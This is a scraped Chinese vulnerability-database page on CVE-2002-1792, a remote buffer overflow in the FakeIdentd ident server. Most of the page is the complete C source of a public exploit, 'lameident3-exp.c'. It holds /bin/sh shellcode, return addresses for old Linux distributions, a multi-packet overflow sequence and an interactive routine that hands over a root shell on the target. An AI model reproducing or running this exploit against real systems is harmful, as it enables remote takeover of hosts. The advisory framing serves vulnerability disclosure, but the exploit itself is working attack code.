Fake Identd远程缓冲区溢出漏洞
漏洞ID | 1106877 | 漏洞类型 | 边界条件错误 |
发布时间 | 2002-07-25 | 更新时间 | 2005-10-20 |
CVE编号 | CVE-2002-1792 |
CNNVD-ID | CNNVD-200212-181 |
漏洞平台 | Linux | CVSS评分 | 10.0 |
|漏洞来源
|漏洞详情
FakeIdentd是一款小型的使用静态应答的Ident服务程序。FakeIdentd对客户端的查询缺少正确的边界缓冲检查,远程攻击者可以利用这个漏洞进行远程缓冲区溢出攻击。FakeIdentd对客户端的查询存储在静态全局20个字节的缓冲中,相关的代码类似如下:len=0;for(;;){if((l=read(s,buf+len,sizeofbuf))>0){if(query_looks_valid(buf)){reply(s,buf);}}elseif(len+l==sizeofbuf){gotoabort;}else{len+=l;}}上面的代码对缓冲的边界检查不是很充分,通过把数据分离在两个或者多个数据包中,(len+l==sizeofbuf)的检查很容易被绕过。另外,Reply()函数调用fdprint()函数也存在一个固定的缓冲区分配,而进行填充的时候没有进行边界检查,这个缓冲由全局指针(identuser)的值填充,也可以造成缓冲溢出。攻击者精心构建查询的数据可导致以FakeIdentd进程的权限在系统中执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/5351/info
Fake Identd is an open source Ident server designed to return the same information to all incoming requests. It is implemented by Tomi Ollila, and available for Linux and a number of other Unix based operating systems.
Reportedly, some versions of Fake Identd fail to properly handle long client requests. A specially formatted request split across multiple TCP packets may cause an internal buffer to overflow. Reportedly, execution of arbitrary code as the Fake Identd server process is possible.
/* lameident3-exp.c - [email protected] - http://www.nopninjas.com
* this should work for most Linux distributions without needing
* any modifications
*
* fakeidentd exploit 3rd revision.
* v1.4 http://software.freshmeat.net/projects/fakeidentd/
* v1.2 http://hangout.de/fakeidentd/
*
* vuln found by Jedi/Sector One
* Other people who worked on the same bug and shared ideas:
* Charles "core" Stevenson, Solar Eclipse
*
* 7/25/02
*
* Collaborative effort via the [0dd] list. Thanks to Charles Stevenson for
* running it.
*
* 0dd, irc.pulltheplug.com, b0red
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define ALIGN 1 /* you probably dont need to touch this */
#define IDENTPORT 113
#define USLEEP 200 /* delays the send()'s to avoid "broken pipe" errors */
#ifdef DEBUG
#define DUPFD "x04"
#else
#define DUPFD "x02"
#endif
/* dup() shellcode from Charles Stevenson <[email protected]> */
char lnx86_dupshell[]=
"x31xc9xf7xe1x51x5bxb0xa4xcdx80x31xc9x6a" DUPFD
"x5bx6ax3fx58xcdx80x41x6ax3fx58xcdx80x41x6ax3f"
"x58xcdx80xebx1fx5ex89x76x08x31xc0x88x46x07x89"
"x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31"
"xdbx89xd8x40xcdx80xe8xdcxffxffxff/bin/sh";
struct Targets {
char *name;
long baseaddr;
char *shellcode;
};
struct Targets target[] = {
{ " gcc-2.91.66 x86n"
" * Slackware 7.1n"
" * RedHat 6.2n",
0x0804b0a0, lnx86_dupshell },
{ " gcc-2.95.3/4 x86n"
" * Slackware 8.1n"
" * Debian 3.0n",
0x0804a260, lnx86_dupshell },
{ (char *)0, 0, (char *)0 }
};
void sh(int sockfd);
int max(int x, int y);
void fail(char *reason) {
printf("exploit failed: %sn", reason);
exit(-1);
}
long resolve(char *host) {
struct in_addr ip;
struct hostent *he;
if((ip.s_addr = inet_addr(host)) == -1) {
if(!(he = gethostbyname(host)))
return(-1);
else
memcpy(&ip.s_addr, he->h_addr, 4);
}
return(ip.s_addr);
}
int make_connect(struct in_addr host) {
int s;
struct sockaddr_in sin;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(IDENTPORT);
sin.sin_addr.s_addr = host.s_addr;
if((s = socket(AF_INET, SOCK_STREAM, 0)) <= 0)
fail("could not create socket");
if(connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0)
fail("could not connectn");
return(s);
}
int main(int argc, char *argv[]) {
int s, a, uwait = USLEEP, nops = 500;
long baseaddr;
long shelladdr = 0xbfffa090;
long pointaddr = 0;
char buf1[2020], buf2[32], *p, *shellcode;
struct in_addr host;
printf("lameident3-exp.c by sloth @ b0redn");
if(argc<3) {
printf("usage: ./lameident3-exp <target> <host> <send delay in ms>n");
for(a=0;target[a].baseaddr;a++)
printf(" %d: %x %s", a, target[a].baseaddr, target[a].name);
exit(-1);
}
for(a=0;a<atoi(argv[1]);a++)
if(!target[a].baseaddr)
fail("invalid target");
baseaddr = target[a].baseaddr;
shellcode = target[a].shellcode;
if(argv[3]) uwait = atoi(argv[3]);
if((host.s_addr = resolve(argv[2])) == -1)
fail("invalid host");
memset(buf1, 0, sizeof(buf1));
memset(buf1, 0x90, sizeof(buf1)-strlen(shellcode)-1);
memcpy(&buf1[(sizeof(buf1)-strlen(shellcode)-1)],shellcode,strlen(shellcode));
s = make_connect(host);
send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = shelladdr - baseaddr - 5;
send(s, buf2, 5, 0);
usleep(uwait);
p = buf1;
printf("Writing shellcode: %d bytes to 0x%x...n", strlen(buf1), shelladdr);
for(a=0;a<=strlen(buf1), *p;) {
if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
fail("write error");
p += a;
usleep(uwait);
}
close(s);
usleep(100);
s = make_connect(host);
send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = shelladdr - baseaddr + strlen(buf1) + 20 - 5;
send(s, buf2, 5, 0);
usleep(uwait);
p = buf1;
pointaddr = shelladdr + strlen(buf1) + 20;
printf("Writing pointers to 0x%xn", pointaddr);
memset(buf1, 0, sizeof(buf1));
for(a=0;a<=512;a += 4)
*(long *)&buf1[a] = shelladdr + 500;
for(a=0;a<=strlen(buf1), *p;) {
if((a = send(s, p, strlen(p) > 19 ? 19 : strlen(p), 0)) == -1)
fail("write error");
p += a;
usleep(uwait);
}
close(s);
usleep(uwait);
s = make_connect(host);
send(s, "AAAAAAAAAAAAAAAAAAA", 19, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
buf2[0] = 'A';
*(long *)&buf2[1] = 0xffffffff - 0x9f - 5;
send(s, buf2, 5, 0);
usleep(uwait);
memset(buf2, 0, sizeof(buf2));
*(long *)&buf2[0] = pointaddr + 200 + ALIGN;
send(s, buf2, 4, 0);
close(s);
usleep(uwait);
s = make_connect(host);
send(s, "1234, 1234n", 11, 0);
usleep(uwait);
printf("here comes the root shell!n");
sh(s);
close(s);
}
/* mixters */
int max(int x, int y) {
if(x > y)
return(x);
return(y);
}
/* mixters sh() */
void sh(int sockfd) {
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;
strcpy(snd, "uname -a; pwd; id;n");
write(sockfd, snd, strlen(snd));
for(;;) {
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = max(fileno(stdin), sockfd) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)){
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
if(FD_ISSET(sockfd, &rset)){
bzero(rcv, sizeof(rcv));
if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
printf("EOF.n");
exit(0);
}
if(n < 0)
fail("could not spawn shell");
fputs(rcv, stdout);
}
}
}
|参考资料
来源:BID
名称:5351
链接:http://www.securityfocus.com/bid/5351
来源:XF
名称:fake-identd-bo(9731)
链接:http://www.iss.net/security_center/static/9731.php
来源:NSFOCUS
名称:3176
链接:http://www.nsfocus.net/vulndb/3176
相关推荐: Mambo Site Server index.php Cross Site Scripting Vulnerability
Mambo Site Server index.php Cross Site Scripting Vulnerability 漏洞ID 1100610 漏洞类型 Input Validation Error 发布时间 2003-03-18 更新时间 2003-…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666